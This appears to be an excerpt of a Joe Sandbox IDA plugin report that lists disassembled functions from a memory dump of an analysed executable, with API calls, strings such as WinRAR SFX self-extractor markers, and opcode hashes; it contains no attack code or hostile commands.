API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: d4849b446cfebff07557885922af6d4c071b7d011b782ff7bb17459a6eb955de
Instruction ID: 09c1f90e98f62ad245c4159527e9750a4c0a2d5183a10c3895a5b14178c38f57
Opcode Fuzzy Hash: d4849b446cfebff07557885922af6d4c071b7d011b782ff7bb17459a6eb955de
Instruction Fuzzy Hash: 85B18B73604B888BEB15CF29C89536CBBA0FBC4B48F588831DA5D837A5CB39D451C710

Function 00007FF70ECECA30 Relevance: 3.2, APIs: 2, Instructions: 186COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70ECEC21C: GetDC.USER32 ref: 00007FF70ECEC228
Part of subcall function 00007FF70ECEC21C: GetDeviceCaps.GDI32 ref: 00007FF70ECEC239
Part of subcall function 00007FF70ECEC21C: ReleaseDC.USER32 ref: 00007FF70ECEC246

GetObjectW.GDI32 ref: 00007FF70ECECA84

Part of subcall function 00007FF70ECECCEC: GetDC.USER32 ref: 00007FF70ECECD15
Part of subcall function 00007FF70ECECCEC: GetObjectW.GDI32 ref: 00007FF70ECECD43
Part of subcall function 00007FF70ECECCEC: ReleaseDC.USER32 ref: 00007FF70ECECDF7

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID:
API String ID: 1061551593-0
Opcode ID: a39c6f5289eeb3ccdb5d0bd3d1d8e799027f00d468a18c17e9e0985c25432a47
Instruction ID: 4d1bc43e256d5ef45fafa4f8cd2207401fa22607af83722285fb62f17ccb3128
Opcode Fuzzy Hash: a39c6f5289eeb3ccdb5d0bd3d1d8e799027f00d468a18c17e9e0985c25432a47
Instruction Fuzzy Hash: B7813A36B18A458AEB10DB6AD840AAEB771FF88B88B544132DE0D57764DF3DD105C750

Function 00007FF70ECEDE44 Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32 ref: 00007FF70ECEDE8D
GetNumberFormatW.KERNEL32 ref: 00007FF70ECEDEE9

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: 8ec788ba47fdf6df10e78e7ac2cd74069c16868f0c385ff3f057b0f2eb63ee47
Instruction ID: 9b873fe0773757e6305041d21420e430c23e3319d953b4a3e7db23bdc194d3b7
Opcode Fuzzy Hash: 8ec788ba47fdf6df10e78e7ac2cd74069c16868f0c385ff3f057b0f2eb63ee47
Instruction Fuzzy Hash: 9C114F72A18B85A5E721AF21E8503EAB361FF88B44FC44135DA8D43B64DF3CE646C754

Function 00007FF70ECD6768 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32 ref: 00007FF70ECD6799

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 4077126cdc8ab987fc50741f9daa8f64bdc94cd5a3d95bfaac1a76796dfe440a
Instruction ID: 7437293c11f6e26d2c2a0eca2df9345381e71f6b40c1cc32fbd897e0dda1fb52
Opcode Fuzzy Hash: 4077126cdc8ab987fc50741f9daa8f64bdc94cd5a3d95bfaac1a76796dfe440a
Instruction Fuzzy Hash: 50014475A0C5469BE628EB10EC5037AB3A1FF98364F910239E68E477A4DF3DE5018E20

Function 00007FF70ECFC074 Relevance: 1.5, Strings: 1, Instructions: 219COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FF70ECFC22B

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: 9d335eb4e928305fcc536e7a574871e99efd96511b41f203bfcc60166aca6fdf
Instruction ID: 0ddb2a2c4c0aa71dee5a9ad05d8ba569ffb91dc500ec7795237044a432e2a3c2
Opcode Fuzzy Hash: 9d335eb4e928305fcc536e7a574871e99efd96511b41f203bfcc60166aca6fdf
Instruction Fuzzy Hash: 7B812822B1C10A66EBB8AA158860EBFE390EF41744FD45531ED0987695CF3FE856C268

Function 00007FF70ECFBDF8 Relevance: 1.4, Strings: 1, Instructions: 199COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FF70ECFBF92

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: db1fee231e5625b661d99c0bb1e1601d32928d345e8b8bd10099f265d6b394a5
Instruction ID: 166570f52916a37d722c6cf3efb1483ca396a5dea5cdad0c9d71bb20c76809a6
Opcode Fuzzy Hash: db1fee231e5625b661d99c0bb1e1601d32928d345e8b8bd10099f265d6b394a5
Instruction Fuzzy Hash: A7711525B0C24666FB68AA29C8706BFE3909F41744F940531DE0D87AD6CF3FEC468B61

Function 00007FF70ECFFD18 Relevance: 1.4, Strings: 1, Instructions: 139COMMON

Download Yara Rule

Strings

@, xrefs: 00007FF70ECFFD54

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 75bc8b6b70552213c492e2b4d537d895552732abb840669c88296365ff73b3bd
Instruction ID: c362ad4c0589df3349e338e3c13a6d6f039b813114788dd8cc8c8bbfbf862bd0
Opcode Fuzzy Hash: 75bc8b6b70552213c492e2b4d537d895552732abb840669c88296365ff73b3bd
Instruction Fuzzy Hash: F441C232714A4486EE44EF2AD8642ADB3A1EB58FD0B8D9036EE4D87754EF3DD042C300

Function 00007FF70ED041B0 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70ED041B4

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: be7ed4402fc1a38c1953c688923f2ad906cda00ccdf3b5d5fa14c8939cdf2fd3
Instruction ID: 7cbe41082b2786658aace3d665031738d20c64dcacd8eeab6182a97836fded6e
Opcode Fuzzy Hash: be7ed4402fc1a38c1953c688923f2ad906cda00ccdf3b5d5fa14c8939cdf2fd3
Instruction Fuzzy Hash: 7EB09224E0BA06C6EA083B216C8221862A8BF48700FD8803AC04C82320DF2C24A58B20

Function 00007FF70ECDBF0C Relevance: .6, Instructions: 587COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd28e31d7d5d8dacbc8c1e36a10d9298773be20ef7319678f464fee92af96a22
Instruction ID: 7ef1720ece56d9b34aff9da24f7f63e2ecf6f925c372663054388971cab6ef8f
Opcode Fuzzy Hash: cd28e31d7d5d8dacbc8c1e36a10d9298773be20ef7319678f464fee92af96a22
Instruction Fuzzy Hash: B922E3B3B246508BD728CF25C89AE5E3766F798744B4B8228DF0ACB785DB39D505CB40

Function 00007FF70ECDB318 Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6c4f15c2075db455a8805df7f1b959bd99bc7369c78054583d6a965d91bd105
Instruction ID: bfdc1ed6f4540f971bd7dd9b985cf0ce416b7dc9e4c3d1b9c44a9a1ef614442f
Opcode Fuzzy Hash: c6c4f15c2075db455a8805df7f1b959bd99bc7369c78054583d6a965d91bd105
Instruction Fuzzy Hash: BFD1BB72A181D04EE312CB79A4144BEBFB5E71D30DB8A8262DFD55370AC62EE502DB60

Function 00007FF70ECDB948 Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9782f85efb0ae2e1c0b67e86eaa04f67255253bd9529923cb00556c4c2cc06da
Instruction ID: 8f7d24f0737fef30bd8adb53bca6773bfc62a6023289d8f3244ce03951e30cf7
Opcode Fuzzy Hash: 9782f85efb0ae2e1c0b67e86eaa04f67255253bd9529923cb00556c4c2cc06da
Instruction Fuzzy Hash: CA612622B1C1D169EB01DF7589444FEBFB1AB097847868072DE9E5364ACB3EE905CB20

Function 00007FF70ED08DF0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 925daada8ef65e2677460b522fd56a987e460062fe4befbd33bf430193fcb847
Instruction ID: 9051f866324078bf5e52c8bf55a2f270227988adbf360944197ff925f3b05a98
Opcode Fuzzy Hash: 925daada8ef65e2677460b522fd56a987e460062fe4befbd33bf430193fcb847
Instruction Fuzzy Hash: 2EF06275B282958BDBA89F39A842629B7D0FB08380F80907AD68D83B04DB3D94608F14

Function 00007FF70ECF6B24 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 915a11522949b389e451a5ed0c02c5f26bdaa58b853bb1385cc96cba591218a7
Instruction ID: c7ad701bee1651797137c5d3256a415a879d41a066132ebc663ad5dee9b33ce9
Opcode Fuzzy Hash: 915a11522949b389e451a5ed0c02c5f26bdaa58b853bb1385cc96cba591218a7
Instruction Fuzzy Hash: B6A0023591CD12E4E648AF00EC70135E330FF50700BD40032D44D820A1DF3DE440D360

Function 00007FF70ECF61E0 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF70ECF61F6
GetModuleHandleW.KERNEL32 ref: 00007FF70ECF6203
GetModuleHandleW.KERNEL32 ref: 00007FF70ECF6218
GetProcAddress.KERNEL32 ref: 00007FF70ECF6230
GetProcAddress.KERNEL32 ref: 00007FF70ECF6243
CreateEventW.KERNEL32 ref: 00007FF70ECF626F
DeleteCriticalSection.KERNEL32 ref: 00007FF70ECF62BB
CloseHandle.KERNEL32 ref: 00007FF70ECF62CD

Strings

api-ms-win-core-synch-l1-2-0.dll, xrefs: 00007FF70ECF61FC
kernel32.dll, xrefs: 00007FF70ECF6211
SleepConditionVariableCS, xrefs: 00007FF70ECF6226
WakeAllConditionVariable, xrefs: 00007FF70ECF6236

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 029695a6267facf631d40e22352065ea960f1d0c33bf652913798791beb6e733
Instruction ID: c71835c6b17d8547a6f5a156224fc33aa498362e86fb3ed2a3b75460cda9349a
Opcode Fuzzy Hash: 029695a6267facf631d40e22352065ea960f1d0c33bf652913798791beb6e733
Instruction Fuzzy Hash: CC212A20E1DB07A5FE15BB61ECA4376E2A0EF44B40FC81036D90E436A1EF3DA4458360

Function 00007FF70ECEDF84 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 269COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70ECD12BC: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF70ECD13B6

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECEE273
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECEE279
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECEE27F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECEE285
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECEE28B
EndDialog.USER32 ref: 00007FF70ECEE30A

Strings

Software\WinRAR SFX, xrefs: 00007FF70ECEE06F, 00007FF70ECEE07E
GETPASSWORD1, xrefs: 00007FF70ECEE2C3

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_taskDialog
String ID: GETPASSWORD1$Software\WinRAR SFX
API String ID: 431506467-1315819833
Opcode ID: a5c5738898e15f6e19ffd60a10583bda7f1b196946b6e6664251b414cb79581e
Instruction ID: a6af59bebb3c43c2ee1ec6b81dc4eb0a48cc1f8b46746ecc596faed9b367a538
Opcode Fuzzy Hash: a5c5738898e15f6e19ffd60a10583bda7f1b196946b6e6664251b414cb79581e
Instruction Fuzzy Hash: A9B1B162F19B82A9FB00EB64D8442AEB362EF45798F804235DA5C27BD9DF3DE445C314

Function 00007FF70ECEAB10 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF70ECEBB2B), ref: 00007FF70ECEAD10
CreateStreamOnHGlobal.COMBASE ref: 00007FF70ECEAD41
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECEAE0B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECEAE11
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECEAE17

Strings

<html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"></head>, xrefs: 00007FF70ECEAB65, 00007FF70ECEAB74
<html>, xrefs: 00007FF70ECEABA3
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00007FF70ECEABBC, 00007FF70ECEABCB
</html>, xrefs: 00007FF70ECEAC02, 00007FF70ECEAC11

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Global$AllocCreateStream
String ID: </html>$<html>$<html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"></head>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 2868844859-1533471033
Opcode ID: dbdbaf2d6a176f92c1fb144b878dc6d6ca85ac90d776e93b087ee90a44d95b63
Instruction ID: 1c46e5e791914c21f7c09d37e379147537f3bed6ffaaee6161310309e7817772
Opcode Fuzzy Hash: dbdbaf2d6a176f92c1fb144b878dc6d6ca85ac90d776e93b087ee90a44d95b63
Instruction Fuzzy Hash: 4381B162F18A42A9FB00EBA5D8502EEB371AF44798F844235DE1D1779AEF3DD506C324

Function 00007FF70ED01B60 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70ED01CDD

Strings

inf, xrefs: 00007FF70ED01BE6
NAN(IND), xrefs: 00007FF70ED01C0B
NAN, xrefs: 00007FF70ED01BC1
nan, xrefs: 00007FF70ED01BC8
nan(ind), xrefs: 00007FF70ED01C16
NAN(SNAN), xrefs: 00007FF70ED01BF5
INF, xrefs: 00007FF70ED01BD3
nan(snan), xrefs: 00007FF70ED01C00

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: 7e5ce1446c841e33a66cfbd311af876c7b34449f0d6954941b6492f47989c701
Instruction ID: 92b72b19d60502bbc536adfd2ca60d4321e22d7615bc974ffbe0379487cfbd86
Opcode Fuzzy Hash: 7e5ce1446c841e33a66cfbd311af876c7b34449f0d6954941b6492f47989c701
Instruction Fuzzy Hash: 1041A932B09B4599EB10DB21E8517AD73A4EF08798F984136EE5C83B94DF39D025C350

Function 00007FF70ECF2EE0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32 ref: 00007FF70ECF2F1F
GetClassNameW.USER32 ref: 00007FF70ECF2F4C
GetWindowLongPtrW.USER32 ref: 00007FF70ECF2F6D
SendMessageW.USER32 ref: 00007FF70ECF2F87
GetObjectW.GDI32 ref: 00007FF70ECF2FA2
SendMessageW.USER32 ref: 00007FF70ECF2FD7
DeleteObject.GDI32 ref: 00007FF70ECF2FE0
GetWindow.USER32 ref: 00007FF70ECF2FEE

Strings

STATIC, xrefs: 00007FF70ECF2F52

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassDeleteLongName
String ID: STATIC
API String ID: 2845197485-1882779555
Opcode ID: a56abbe028ef3f0b7d15def6da20f662c50af87d749574eaec9b76d17f79dad6
Instruction ID: b787971f36bdca13466dc612bd0396ef43d34fdb4661f32abdb4e6d351bf7bf7
Opcode Fuzzy Hash: a56abbe028ef3f0b7d15def6da20f662c50af87d749574eaec9b76d17f79dad6
Instruction Fuzzy Hash: E531A335B1864696EA24BB21ED647FAA3A1FF89BC4F840031DD4D077A5DF3DE4068720

Function 00007FF70ECD80B0 Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 444COMMON

Download Yara Rule

APIs

